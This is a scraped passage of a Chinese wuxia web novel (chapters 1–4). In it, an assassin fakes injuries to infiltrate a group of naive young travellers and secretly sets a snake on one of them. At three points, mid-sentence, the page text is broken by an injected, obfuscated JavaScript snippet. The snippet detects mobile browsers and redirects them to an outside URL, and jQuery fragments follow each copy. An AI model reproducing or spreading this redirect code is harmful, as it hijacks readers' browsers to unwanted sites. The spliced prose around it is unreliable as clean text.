《喜欢的少侠是杀手》 1. 第 1 章 江湖上的风雨总是比在宅邸中感受到的更冷冽些。云落英用胳膊拢住身子不停颤抖,她企图多跳动两下来暖和身子,但嘴唇依旧被冻得隐隐有些发紫。 高耸的竹子遮住日光,地面上只留下透过竹林间隙投射下来的斑驳光点。正值阳春三月,明明是正午时分,却十分阴凉。 “表哥,我们还要多久才能找到落脚的地方啊?”云落英问向她身旁身着素色大氅的男子。 “表妹别急,再往前走一段路应该就能出了这片竹林,到时候再找旅店就方便得多了。”宋之微估摸了一下时间和距离,把自己身上的大氅披到了云落英身上。 云落英感受到身上突然落下的温暖,衣服上丝丝缕缕的淡香传入鼻腔,霎时红了脸颊,将脸埋在大氅绵密的毛发中,含含糊糊地应了声“嗯”。 男子旁边还跟着一位少年,头发被黑色的发带高高扎起,看到这个场景不禁“哼”了一声,“宋之微,你这话半个时辰前就说过了,接下来的路我们不会还要再走不止半个时辰吧。” 宋之微嘴唇微张,刚打算回话,就听见云落英清脆的声音从身边传来,“沈游风,之微哥愿意带你上路你就知足吧,还在这阴阳怪气,不想走你就趁早赶路回家去!” 云落英刚说完这句话,林子里就刮起一股冷风,竹叶交错,发出一阵沙沙声。地上的尘土与落叶被风带起,迷了三人的眼。风好不容易止住,不远处又传来粗重的呼吸声,落在安静的竹林里,格外清晰。云落英吓得尖叫一声,慌慌忙忙地朝宋之微身后躲去,沈游风也被吓了一跳,身子不由得朝宋之微靠近了些许距离。 “何人在此?”宋之微将手放在腰间的剑柄上,眉头紧锁,沉声问道。 一阵沉默过后,远处传来了一道气若游丝的女声,“咳咳咳……请帮帮我……” 听到这句话,云落英松了一口气,拽住宋之微的手腕想要去声音的所在地,“表哥,我们去帮帮她吧,她听起来很虚弱,应该受了很严重的伤。” 宋之微轻轻按住云落英的手腕,制止住她的动作,小声道,“小心有诈。你们跟在我的身后一段距离,我先过去看看,等确认了情况你们再跟上来。” “好,表哥你也要小心啊。”云落英颔首,知道是自己考虑得太过简单,往后退了几步,默默跟宋之微拉开一定的距离。 宋之微朝他们微微点头,手未曾离开剑柄分毫,待出现意外时能立刻反击。 只见不远处有一黑衣女子蜷缩着靠在一棵稍粗的竹子旁,她的左手紧紧捂住右臂上的伤口,越靠近越能闻到她身上散发出的浓密的血腥味。 刚刚还安静的竹林里突然出现一名受伤女子,是人都能察觉到此事的怪异之处。 宋之微没有放下警惕,四周一片寂静,除了呼吸声,就只有他靴子踩在落叶上发出的咔嚓声。 他计算着距离,停留在安全位置,双手抱拳,朗声问道:“姑娘,请问您为何在此?” 黑衣女子费力地抬头,颤抖着嘴唇想要说些什么,突然浑身一顿,扑通一声栽倒在地。 云落英与沈游风同时倒吸一口凉气,匆忙赶上前站在宋之微身旁,看着受伤的女字,不知所措。 宋之微眉心紧攒,迈步向前,探查黑衣女子的伤口。 —— 顾轻行睁开眼时,就感觉到自己靠在一个精瘦的背上,背人的家伙可能非常缺乏经验,一颠一颠的,让人非常不适。下一秒,她就感觉到自己已被包扎好的伤口又被不小心碰到了。痛感从右臂袭来,虽然并不强烈,但她依旧夸张地“嘶”了一声。 听到声音,正在行进的三人陡然停住脚步,不约而同地回头看她。 背着她的少年扎着高高的马尾,转头时发丝拂过她的脸颊,有些冰凉,也有些酥麻。 “醒了?那就自己下来走吧。”少年的声音明亮,但语气并不友好,顾轻行能清楚地感受到他说话时胸腔传来的震动。 她尝试从背上支起身子,但一下秒又无力地靠了回去。 “多谢少侠相助,可惜我现在实在无法下地行走。”她让自己的声音听起来格外虚弱,以便谋求帮助。 她看向另外站在不远处的两人。 一人穿着粉色的罗裳,身上披着素色大氅,头发绾成简单的双鬟髻,眉眼弯弯,一双眼睛又大又亮,正直愣愣地盯着她看。脸颊微微泛红,不知是冻得还是赶路时累得。 另一人只身着单薄的衣衫,墨发简单地束起,腰间配一枚玉佩,距离太远,顾轻行看不清具体的纹路式样。若不是他手中紧握一把佩剑,还以为是要进京赶考的文弱书生。 此人同样紧紧盯着她看,眼中的警惕之意溢于言表。顾轻行立刻明白了这三人带着自己上路并不是认为自己清白无害,只是不忍心将她一人扔在竹林里等死。 不过也对,若是轻易就相信途中遇到的伤患,他们也不可能在这危险的江湖行走一个月。 “等到了前面的镇子上,我们会将你带到医馆,到时就此别过罢。”宋之微语气冷淡,想与她划分界限。 这可不行,顾轻行脑子一转,她此行的目的就是为了赖上这三人,怎能如此轻易地分别? 她将环着沈游风脖子的双手作抱拳状,目光清亮,坚定道:“常言说:‘救命之恩当以身相许’,各位少侠一路风尘仆仆,可见赶路不易与路途之艰险,在下现下虽受伤,但可以肯定地说,在下的武功在各位之上,可保各位平安到达目的地。并且,在下的家世清白,各位大可放心!” 说完,她放下双手,紧紧环绕在身前人的脖子上,生怕摔下。 沈游风清楚地感受到身后人说话时喷出的气流,一股一股落在他的耳朵上,分外难受。他想发作,却又顾虑到这是位伤患,只能硬生生憋住。他与身后人都不知,他此时的面孔如墨水一般阴沉。 云落英看着沈游风吃瘪的脸色,扑哧一声笑了出来。她轻柔地将手放在宋之微紧紧握住剑柄,青筋乍现的手上,安抚道:“之微哥,我看这位姐姐目光清明,不像是作恶之人,我们先继续走吧,具体的事可在路上详谈。” 宋之微叹息一声,回握住云落英的手,身体放松,像是作出了极大的让步。 此时日头西斜,竹林里反倒不像正午时那般寒冷。 顾轻行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285915|198436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 估摸了一下时间,现在距她昏迷时大约过了一个半时辰。 她为了获取这三人的信任,可没少在自己身上下狠手。除了右臂,她的腰腹背都有深浅不一的伤口。现下这些伤口都被细心地包扎治疗,若不出意外,大约三四日就能恢复五六成,到那时她就能重新握剑。 想到这,她用左手往腰间一探,缺失的触感让她一愣,没有碰到熟悉之物的左手在空中习惯性地抓握。 身下之人像是知道她在寻找什么,轻轻哼笑,“哦,忘记跟你说了。你的佩剑现下在我身上,过段时间再还给你。” 顾轻行这才察觉到那晃来晃去老是打到她两条腿的物件是什么了,原来这人将她的佩剑与他自己的一边别了一把,怪不得她总是被膈得十分难受。 又往前走了快半个时辰,这不见头的竹林里总算冒出了一家旅馆。 旅馆装修简朴,但坐落在一片竹林中,反倒显清幽。只有两名老头和老太在里面忙活。看到几人隐隐约约靠近的身影,老头老太放下手中的活计,起身迎接。 顾轻行被放置在一张躺椅上,她虽然腿未受伤,但既然有人愿意背她,她也乐得清闲,没提这一茬。 剩下三人好不容易找到了落脚休息的地方,皆找了把椅子坐下,放松自己的双脚。他们商量着点了几样菜,顺便定了两间房。 顾轻行有预感他们马上就要来盘问自己了,不过她也不害怕,会被问到的她早就在来之前想好了答案。 此时三人将她团团围住,目光炯炯。 沈游风:“家世如何?” 云落英:“为什么会受伤?” 宋之微:“跟着我们的真正目的是什么?” 一连串的问题以及三道锐利的视线让顾轻行头皮发麻,喉头哽咽,不自觉地吞咽口水。 她言辞恳切道:“在下来自云城顾氏,自幼习武,已有十余年。两月前出门历练,竟意外惹上一伙黑衣人,被追杀至此,身上受了伤,从家中带出的钱财也所剩无几,实在是囊中羞涩,无法去医馆治病。在下看各位少侠即便出门在外,衣着仍旧光鲜,不免想跟几位做场交易。我可在路途中保护各位的安全,各位只需给在下一口饭吃即可。” “当然,各位不用担心那黑衣人。我在逃跑的过程中留下了标记,引得那群人朝另一个方向去了,绝不会影响到各位少侠的安危!” 顾轻行知道自己这番言论还有许多会被问到的地方,她也做好了被继续追问的准备。 只是没想到这时正好饭菜端了上来,沈游风顿时转过身拿起筷子说了句原来如此,随后风卷残云般对着桌上的饭菜下手,心思早已不在她的身上。云落英一脸放心地点点头,像是信了她的这幅说辞,也一脸垂涎地看着热腾腾的饭菜。 宋之微看着这俩没心没肺的模样,叹了口气,无奈地揉了揉自己的眉头。虽然看着顾轻行的眼神依旧没那么信任,但也不像之前那样警惕。还专门给顾轻行夹出了一份饭菜单独放着,算是接受了她的提议,初步把顾轻行纳入到小队当中了。 顾轻行看着身前几个明显涉世未深的少年人,暗自感叹他们真是稚嫩。 2. 第 2 章 可能是因为坐落于竹林之中,路过的行人不多,旅馆空间不大。一楼是吃饭的地方,稀稀拉拉地摆放着几张桌椅,二楼是住宿的地方,只有四间房,还要留一间给店家自己睡。 为了方便照顾轻行这个伤患,云落英并不排斥晚上跟她一间屋子。沈游风外出住宿的要求颇多,可在外风餐露宿了一个月,已经狠狠治了他这少爷毛病,但仍旧不愿意和宋之微睡在同一间房。 夜晚,顾轻行和云落英躺在同一张床上,房间里灯都熄了。夜色昏暗,屋里只有月色照耀落下的一些影影绰绰的暗光。在这种环境下,人的大脑也好像有些滞涩,云落英趁机问了她好多关于她在外历练的事情。 比如她历练的一些细节,经历过什么,遇到了哪些人,究竟做了什么才惹人追杀,本来想要去哪里,护送他们到达目的地后打算去什么地方等等。 顾轻行一一作答,为了让自己的回答更显真实,有些地方还停下来故作思考了一阵,再答道她现在还没仔细考虑过某些问题。 云落英听完后,起身帮她摆正身子,防止睡觉时磕到伤口处,躺下后还帮她掖紧了被子,不让风钻进来。 第一次被人这么贴心的照顾,顾轻行感受着身边人绵长的呼吸声以及她身上散发出的暖融融的热气,心想这姑娘倒是没有看起来那么天真。 她在心中暗暗将三人比较了一番,虽然在来时已经看过三人的信息,有了一定的心里预估,但是真正见了面才发现,宋之微没她想的那么谨慎机敏,云落英也不像资料里所写的那样不谙世事,只有沈游风表里如一的没心没肺,或许从他身上下手才是最轻松的。 —— 卯时过半,清晨的第一缕阳光打在顾轻行的脸上,她缓缓睁开双眼。 店家养的公鸡正在声嘶力竭地嚎叫,云落英似被这声音吵到,不耐烦地翻了几个身,还捂住耳朵争取多睡了一会儿,但最后也只能无奈且愤愤地睁开眼睛。 两人收拾了一番走下楼梯,只见桌上已经摆好了热腾腾的粥和包子。 宋之微已经整装待发,沈游风手里拿着一个包子,正神情恹恹地喝着粥。 平常沈游风总是最后一个起床的,云落英现在看到他不免有些吃惊,“他今儿个怎么起得如此之早?” 沈游风不满地瞪她一眼,又扒拉了两口饭。 宋之微慢悠悠地端起茶杯,淡淡地笑道:“我昨日问了店家,前面再走几公里就有一座小镇,到那儿我们就能租赁车马了。我不愿耽搁了时辰,就早早去喊了他。” 等到四人皆准备完毕,沈游风不情不愿地看着顾轻行,说道:“我今天不用再背她了吧。” 为了使自己的伤看起来严重些,顾轻行今早下楼时故意走得很慢,一瘸一拐的。如果今天还能不用自己走,那真是再好不过。 不过云落英打破了她的幻想。 她检查过顾轻行的伤口,知道她虽然行走不便,但也能独立行走,只不过要在路上多花些时间罢了。 听到这个回答,有人欢喜有人愁。 沈游风脸上的阴郁一扫而空,神采飞扬。 要自己赶路的顾轻行有些失望。 昨日她被背在背上,倒是没怎么观察过这位小少爷的正脸,现下是有机会仔细观摩一番。 云落英和宋之微都身着浅色,看上去温柔隽永。 沈游风倒是一身黑衣,在三人之中格格不入。虽是黑衣,但针脚细密,衣摆与襟口处嵌着以金线绣成的云雷纹,随着他步履起落,在日光下隐隐泛光,就连他的发带也反着丝丝缕缕的金光,如水中细密的波纹,随风而动。 或许是因为出门在外,不想那么张扬,但仍一眼便可看出这是出身富贵人家的公子。 当他看过来时,目光倨傲。线条精致的下巴微微抬起,眉毛生得极好,但总是不耐烦地拧着,即使是面无表情,也让人觉得他在生气。 顾轻行看着他那张俊俏的脸皮,不禁想昨天他背着自己的时候,也是这样一副不痛快的表情吗。 不过如果按照服饰划分的话,顾轻行和沈游风像是一个阵营的。她也一袭黑衣,只不过布料简朴,用粗布制成,长发用简单的黑色发带系紧,浑身上下除了皮肤的白皙之外,再无第二种颜色。 告别热情好客的店家,众人再次踏上旅途。 云落英和宋之微并肩走在前面,顾轻行和沈游风稍稍落后。 或许是因为突然多了一个陌生人,一群人之间的氛围有些诡异。 意识到宋之微和沈游风并未有开口说话的打算,云落英决定充当这个活跃气氛的角色。 她一会儿指一指路边的野花,赞叹这朵花颜色艳丽,在打算伸手去摘时被顾轻行告知此花有毒。 等她讪讪地收回手,又兴奋地跑向草丛里的野兔,被宋之微抓住手臂,提醒她注意脚下的石子。 顾轻行看着身前深深浅浅的脚印,突然有些疑惑他们究竟是怎么活到现在的。 云落英叽叽喳喳的声音如流水般从她脑子里滑过,像是想到了些什么,她突兀地问道:“各位出门没有配备马车和随从吗?” 一时之间,空气有些滞涩,云落英无声地张嘴,又闭上。沈游风不自然地抱着手臂,眼神有些躲闪。 只有宋之微耐心地向她解释。 云落英来自云城云氏,与宋之微是表兄妹,但自小订亲。半年前来京城宋家探望姨母,顺便见一见未婚夫。在京城住了五个月,姨母让宋之微一路护送,正好两人相互做伴,游山玩水之余,还能培养感情。没想到被与宋家交好的沈家听到了消息,沈游风天天在家游手好闲不务正业,每天话本子不离手,沈父想着眼不见心不烦,就把沈游风一起丢了过来,让他在外多吃点苦头。 最初几人还算和谐,宋之微自小与沈游风一起长大,虽然嘴上不留情面,但确实是沈游风唯一交心的朋友。只是沈少爷花钱太过大手大脚,不知道出门在外的首要原则就是财不外露,被人暗中盯上,骗了一部分钱财不说,还因太过嚣张,惹上了一伙人马,想要一不做二不休,直接杀人越货。云落英与宋之微也被沈游风连累,逃跑的过程中与家仆分散,身上只带了必要换洗的衣物和银两。 日子突然从天上掉到地下,落差太大,但沈游风自知连累众人,没有资格抱怨,不敢造次。风餐露宿过了一周,正好遇到倒在竹林里的顾轻行,为了显得自己没那么无用,他还自告奋勇地说要背着她走。 顾轻行不知道他们经历的这些事,她收到任务后只拿到了三人的基本资料,以及他们的大致位置。 她稍微思索一番,心下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285916|198436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有了估计。 应该是组织为了让她能够顺利潜入所做的前置准备。 “不过这一路走来还算顺利,自从摆脱了那伙人之后,再没遇到什么危险了。”云落英感叹。 就连话不多的宋之微也点头道:“本以为竹林深幽,危机四伏,进来后除了些花草虫蝇倒是没遇到其他的了。” 顿了顿,他又说道:“这样一路往前,或许还能在路上与走散的侍卫汇合。” 几人继续向前,只有沈游风在提到这个话题后一直保持沉默。 顾轻行虽自幼与人交往不多,但也略通人性,知道此时上去与这少爷对话只会自讨苦吃,也没管他究竟在想些什么。 大概就是一些别扭的自尊心罢了。 她听着竹林里呼啸的风声,呼吸着潮湿的、带有竹叶气味的空气,心下一片轻松自在,没觉得这次的任务有何困难之处。 一群涉世未深、心无城府的年轻人,随便说几句话、做几件事就能让他们对自己深信不疑。初次欺骗别人可能会在内心受到道德的谴责,但现在的顾轻行只把这当作一场久违的放松。 突然间,幽静的竹林传来一阵细细簌簌的声音,像是有什么东西在落叶上摩挲。 宋之微立刻停下脚步,将云落英护在身后,观察四周。云落英知道自己提供不了什么帮助,自觉躲在远离动静的安全区域。 沈游风瞧瞧一脸警惕的宋之微,又瞧瞧呆在原地不动的顾轻行,一脸纠结,又想到她左臂的伤,不情愿地伸出手想要拽住她的手腕,一起躲在宋之微身后。 说时迟那时快,就在他伸手的那一瞬间,一道碧影如疾电般从枯叶中弹起,直射沈游风的脚踝。他一时不查,慌慌张张地往后倒退半步,差点一屁/股跌落在地。 “是竹叶青!”云落英惊叫。 宋之微神情一变,拔剑出鞘,手腕上提,想要挥剑将其斩落。 那青色小蛇见突袭未中,灵活地闪开将将落在身上的剑刃,又一次朝沈游风袭去。 沈游风没想到这蛇单单缠上了他一人,一脸惊恐,吓得连声音都发不出来,慌不择路地往空旷地方跑去。 他眼看着那道细长的青影直直逼向自己,心脏骤停,又看着挥剑几下都没击中目标的宋之微,绝望地闭上双眼。 原本安静祥和的竹林,几息之间,已然天翻地覆。 临近死亡,沈游风感觉到自己的心跳已经快到前所未有的速度。在等待被咬的时刻,一抹冰凉的剑风堪堪擦过他的脸颊。 预想中的剧痛没有到来。 沈游风躺倒在冰冷的枯叶上,一脸惊喜地睁开双眼,察觉到自己被吓得浑身无力,只能软绵绵地支起身子。 原本身形凌厉的蛇影被劈成两半,软趴趴地落在他的衣襟下摆。断口平滑,浓稠的黑血正缓缓渗出,浸染了他衣摆上精致的金线雷云纹。 劫后余生,沈游风调整着急促的呼吸,全身炽热的血液重新翻滚涌动。他深吸一口气,顺着那柄犹自震颤的朴素铁剑向上看去。 那人一袭黑衣,隐于错落的竹影之中,仿佛与这竹林浑然一体。 她面色恬淡,甚至没有多看死蛇一眼,好似并未被这插曲影响分毫,只是轻轻松松地用剑斩下了某个碍事的东西。 是顾轻行。 3. 第 3 章 正值未时,日光自西向东打在竹林中。 顾轻行背光站着,手中铁剑的剑刃正兀自往下滴血。 她漆黑的瞳孔映照着沈游风跌倒在地的狼狈模样。她微微转身蹲下,将滴着血的剑在干燥的草地上蹭了蹭,血污尽去,旋即收剑归鞘。 再站起来时,一缕日光直直映入她眼中。 沈游风这才发现,她的眼睛并不是纯黑的,在阳光的照耀下反而反射出琥珀色的光彩,比他见过的任何一种玉石都更晶莹剔透。 顾轻行感受到沈游风盯着自己的视线,她知道有些人会对自己的救命恩人产生依赖,但这道视线注视的时间有些过长了。她直视沈游风的双眼,有些疑惑地问他:“不起来?” 沈游风跌跌撞撞地从地上爬起。 他一时看出了神,竟未意识到自己还坐在枯草之上。 蛇口脱险后,沈游风靠在竹子上,心脏仍狂跳如擂鼓,震得他手脚发麻、指尖微颤。 “……多、多谢。”他别开脸,生硬地道谢。 顾轻行轻声应答,脸色平静,抬脚朝云落英走去。 刚刚挥剑时虽控制了力度,但腹部的伤口好像裂开了,隐隐有些阵痛。 云落英和宋之微见危险解除,都松了一口气。 宋之微刚刚连挥几剑都没击中毒蛇,面色有几分尴尬,额上也因为挥剑露出些许薄汗。 云落英与他相处时间不长不短,知道他是个什么性子。 她从袖中拿出手帕,擦了擦宋之微面上的薄汗安慰道:“之微哥,你自幼身子弱,本就不善剑术。情况突然,你也已经尽力了。” 宋之微将手覆在帮自己擦汗的那只手上,轻轻“嗯”了一声。 云落英见他恢复地差不多了,抽回手,正好看见顾轻行朝这儿走来。 她眼神明亮,高兴地说:“顾少侠,真是太感谢你了!” 说着,打算上来握住顾轻行的手。 顾轻行担心她碰到自己的伤口,捂住腹部发出“嘶”的一声。 果不其然,云落英本来高兴的脸色变得担忧。 “云姑娘,我刚刚拔剑时,腹部的伤口好像撕裂了,不知当初是如何医治的?”顾轻行问道。 云落英从包裹中拿出瓷白的药瓶和一卷纱布。 她让沈游风和宋之微都转过身去,随即对顾轻行说:“实不相瞒,我家中世代从医,我也自小学习医术,所以会随身携带些草药。” 等她将顾轻行身上的纱布取下,重新上药后,她又悄悄地凑到顾轻行的耳边轻声说:“其实你刚刚不用救他的。” 耳边有气息吹过的感觉让顾轻行有些不适应,但她适时地表现出疑惑的眼神。 云落英羞涩一笑,小声说道:“我带有治疗竹叶青蛇毒的解药,就算他被咬了,我也能救。而且我实在看他不爽,早就想让他吃瘪了,真该让他被蛇咬一次,长长记性。” 顾轻行想笑,但又怕牵扯到腹部的伤口,只能忍住。 她含笑说道:“是我害得姑娘愿望落空了。” 云落英把纱布一圈圈缠绕在顾轻行的腹部,系紧后又说:“不打紧,他这次被吓得不轻,我看他那窝囊样都想笑,只是不知道为何那竹叶青偏偏只盯上了她一人。” 顾轻行知道原因,但没有回话。 因为是她偷偷在沈游风的衣摆处撒下了吸引毒蛇的药粉。 身旁云落英还在说个不停,顾轻行有一搭没一搭地回着。 云落英看她回复的次数不多,有些不好意思地说道:“抱歉,我们家总是爱边聊天边给人治病,所以我话可能有点多,你就当我自言自语好了!” 顾轻行微微一笑:“没关系。” 云落英把她从地上扶起来,两人一起朝宋之微他们走去。 “顾少侠,以后你就喊我落英,我喊你轻行,怎么样?总是姑娘、少侠这样喊,太生疏了。” 虽然他们才认识不到两天,相互生疏再正常不过,但顾轻行还是应了她这个请求。 看到她们两人走来,沈游风的眼神有些不自在地往顾轻行身上飘。 “……你、你的伤,还好吗?”他支支吾吾地说。 云落英看到他那样儿就来气,朝他翻了个白眼:“你还是先管好你自己吧!” 沈游风这下被甩了面子也不恼火,只是睁着他那双眼睛看着顾轻行。 顾轻行答:“无事,公子请放心。” 说完,顾轻行的眼神滑向了沈游风腰间的佩剑。 说实话,她一开始并没有想像现在这样,直接救沈游风一命。 只是想用一只毒蛇吓吓他们,让他们知道路上还是很危险的,带上她才是万全之策。但是她没想到这群人真的是……如此不堪一击。 沈游风顺着她的眼神,也看到自己的佩剑。 他瞬间涨红了脸,不知是羞得还是愤得。 一转眼又看到顾轻行在看着他的剑,开口想要说些什么。 他像是被踩了尾巴似地弹起来,想给自己留些面子,制止她道:“不用你说,我也知道!” “我就是这么废物!什么事情都做不好,从出门到现在一直在闯祸。我还很胆小怕事,就算身上带着剑,也只是个摆设,都不敢拔剑攻击。可我现在真的知道错了,我下次遇到事情肯定不会一味逃跑。” “我、我保证!我接下来一定听你们的话,再也不给你们添麻烦了!” 虽然内容听起来像是道歉,但沈游风几乎是吼着说完全部的。他说完就低下头,肩膀微微颤抖。他绷着背,沉默地走到宋之微身旁。 宋之微叹了口气,没有多说什么,只是轻轻拍了拍他的肩膀。 顾轻行被他的话说得一愣一愣的,她只是想提醒他下次遇到危险记得先拔剑,怎会想到他突然间就爆发了。 她转头看向云落英,只见云落英嘴唇微张,一脸震惊地看着沈游风。 云落英结结巴巴地说:“你、你知道就好。” 气氛一时间有些尴尬。 一只灰雀扑棱棱地从他们前方的草丛惊起,突兀地划破凝固的空气。几片羽毛晃晃悠悠地落下,更添了几分手足无措。 几人就这样沉默地继续赶路。 沈游风又偷偷地看了顾轻行好几眼,摸了摸鼻子,才开口说道:“你要不要我背你啊。” 顾轻行瞥他一眼,“不用。” “哦。”他默默转头。 “那你需要我扶着你吗?”他不死心,又问道。 “不用。” “……哦。” 沈游风不说话了。 他走在顾轻行左手边,他的佩剑别在右侧,顾轻行的在左侧。两人间的距离不知为何越来越近,时不时发出佩剑相撞的铿锵声。 顾轻行默默地往右边走,与他之间隔了一段不近不远的距离。 只是没过一会儿,两人的剑又撞上了。 顾轻行心里叹气,不再往右边靠,放任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285917|198436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了他的小动作。 毕竟,她跟蠢蛋没什么好说的。 —— 众人紧赶慢赶,总算赶在日落前到达了一座小镇。 天边最后一道惨淡的橘红即将被青绿色的暮霭吞没,空气中潮湿的土腥气逐渐被一股混杂着炊烟、香料等的市井烟火气所取代。 不同于竹林地面的松软,踩在坚实的青石板路上,也给人一种安心的踏实感。 “终于到了。”宋之微的声音带着一丝不易察觉的放松。 云落英几乎要软倒,她伸了一个大大的懒腰,抒发出这几天的疲惫。 涔涔流水声从前方传来。只见小镇匍匐在前,一条瘦伶伶的小溪缓缓流过镇口。 “竹溪镇……”云落英看向镇口的石碑,喃喃道:“还挺应景的。” 沈游风从小到大没像这几天这样苦过,他弯腰捶了捶腿,下意识想抱怨两句腿酸,目光却瞥见身旁的顾轻行—— 她静静立在暮色中,侧脸被落日最后的余晖镀上一层极淡的金边,被风吹乱的黑发散落在脸颊,眼神清冷。虽然身上受着伤,背脊仍旧挺拔,未见丝毫疲态。 看到她这副模样,沈游风下意识直起身子,抱怨的话也堵在嘴边说不出来。 小镇规模不大,大约有两条主街,几十户人家。路边有几户人家挂着白色灯笼,在暮色中幽幽亮着,凄凉之余又显得有些诡谲。 四人找到镇上唯一一家客栈准备稍事休息,明早再租赁马车继续赶路。 客栈一楼是饭馆,除了他们四人,还有镇上的一些居民在这里吃饭。 可能是当地民风淳朴的原因,居民们并不克制聊天的声音,即使隔着好几个餐桌,也能清楚地听到他们谈话的内容。 “听说铁匠铺家的儿子也生病了?” “嗐,不可能吧。他从小打铁,身子那么好,还会生病?” 对面那人衣着青色宽袖长袍,面色忧愁,“镇上这一个月来已经相继有好几户人家有人患病去世了,去医馆也查不出什么原因,就算开了药也迟迟不好,我真担心我家囡囡也染病。” 另一人皮肤黝黑,肌肉发达,上衣下裤皆为短褐色的粗麻布,豪爽道:“你这么担心,不如让你家囡囡跟我下地,好好锻炼一番身体!” “女孩子家,怎能吃这些苦?” “怎么不可,我女儿自小陪我下地干活,一人就能提两桶水,从未生过病,身体健康着呢!” “……” 顾轻行耳中过滤着他们说话的内容,眉心几不可察地一蹙,怪不得她在镇口闻到了一股浓浓的药味。只不过她不想管这么多事,镇中因病去世多少人都跟她没关系,就算死光了也与她无关。她只想把任务尽早完成,避免节外生枝。 但是另外一人很明显不像她这么想。 云落英一直关注着那两个人的对话,眉头紧攥,就算菜上上来了也食不知味。 她放下碗筷,抿了抿唇,开口说道:“我觉得我们明天应该走不了了。” 说完,她顿了顿,“我明天打算去镇上的医馆看看。这里突然出现了某种未知疾病,我不能坐视不管。” 宋之微知道她家自小就教育她们不能见死不救,对她的决定没有异议。 沈游风已经在竹林里立下了那番豪言壮志,自然不会提什么反对意见。 三人一致看向保持沉默的顾轻行,等待她的想法。 顾轻行微微一笑,表面赞同,心想他们真是麻烦。 4. 第 4 章 顾轻行收到的任务描述并不具体,只是让她获取这一行人的信任,进入云家,最终盗出某样物品。 她现在并不知道那件东西具体是什么,只知道它被保护在云氏宅邸的深处,只有云家家主及下一任继承人才能接触到。组织也曾派出人员直接到云家,但全都铩羽而归,甚至已经隐隐惊动云氏内部,让他们暗中加固了防御。 而云落英,就是云家的下一任继承人。 云家作为传承百年的医学世家,与别的世家不同的地方在于,它并不是严格以血缘关系作为维系家族的纽带。 每任云家学徒都要接受一年一度的医学考核,继承人则是半年一次。 若继承人连续三次考核都不合格,就会让众多学徒经过重重考核,最终选取一位品行兼优、医术超然的学徒作为新任继承人,若是外姓学徒,则冠以云姓。 云落英作为云家现任家主的独女,是第一顺位继承人。 据顾轻行所知,她前两次考核都没合格,离下一次考核还有一个多月。本来路上就时间紧迫,她还要在这镇子上耽搁,若是错过考核,她将直接丧失继承人的资格。 次次考核第一的顾轻行既不理解她为什么不合格,也不理解她为什么要放弃机会。 但转念一想除她以外还有数次挥剑不中的宋之微,连剑都不会拔的沈游风。 她也稍微能理解了。 本来以为这群人中只有沈游风一个蠢货,没想到剩下两个也不遑多让。 次日一早,云落英就带着他们赶往镇上唯一一家医馆。 医馆店面简单,只有一个柜台和柜台后撑满整面墙的药柜。 柜台后坐着一名小女孩,头顶扎着两个小巧的发髻,看上去只有六七岁,手里正抓着两株药材把玩。 云落英看了一圈,没见着其他人,上前问她:“小孩儿,你家掌柜的在哪?” 那孩子抬头看她一眼,又低下头摆弄手里的药材,小声说:“他去别人家里看病了。” 她的声音太小,离柜台有一段距离的沈游风和宋之微都没听清,只有离得近的云落英和听力好的顾轻行听见了她和话。 云落英见她不愿多说,没再问问题,几个人在店里找了个角落站着等掌柜。 幸好没过多久,掌柜手提药箱,风尘仆仆地从外面赶来。 她身形矮小,头发灰白,眼角有随岁月流逝留下的皱纹,看上去大约五十多岁。 她一跨过门槛就看到在角落里站着的四人,用衣袖擦了一把额头上的汗,问道:“几位可是过来看病的?” 云落英摇摇头,向他说明自己的出身及意图。 那掌柜先是眼前一亮,见几人容貌稚嫩,又几不可察地叹口气。 她将手上的药箱放在柜台上,摸了摸小女孩的头。 小女孩见他回来,高兴地放下手里的药材,从柜台跑出来,站在掌柜身后,抓着她的衣服偷偷探出头来看向他们几人。 她看着云落英等人,语气沉重:“这病来的古怪,光是上个月就已经先后去世了近十人。最初,有人来找我看病,似是着凉引起的普通发热,我开了去热的药物之后,恢复了正常的体温。本以为这就没事了,未曾想过几天之后,这人又来找我,说自己夜里手脚发冷,不管盖多少层棉被都没用。我给他开了祛湿补暖的药,他也每天喝姜茶,用热水泡脚,非但一点用都没有,病情更是急剧恶化。在他找我看病的第二周,就突然去世了。据他家里人所说,是夜里在睡梦中走的,浑身冰凉,用手碰一下他的肌肤,如坠冰窟,冻得人直打哆嗦。” “我行医多年从未遇上此等怪事,过几天又有几人找我看病,病症与他如出一辙,我还没找到解决之法,那几人就已不行了。哎......” 说罢,她长叹一声,本就佝偻的背部更显沧桑。 这听上去就不是什么正常病症,顾轻行估计应该是有人下蛊。 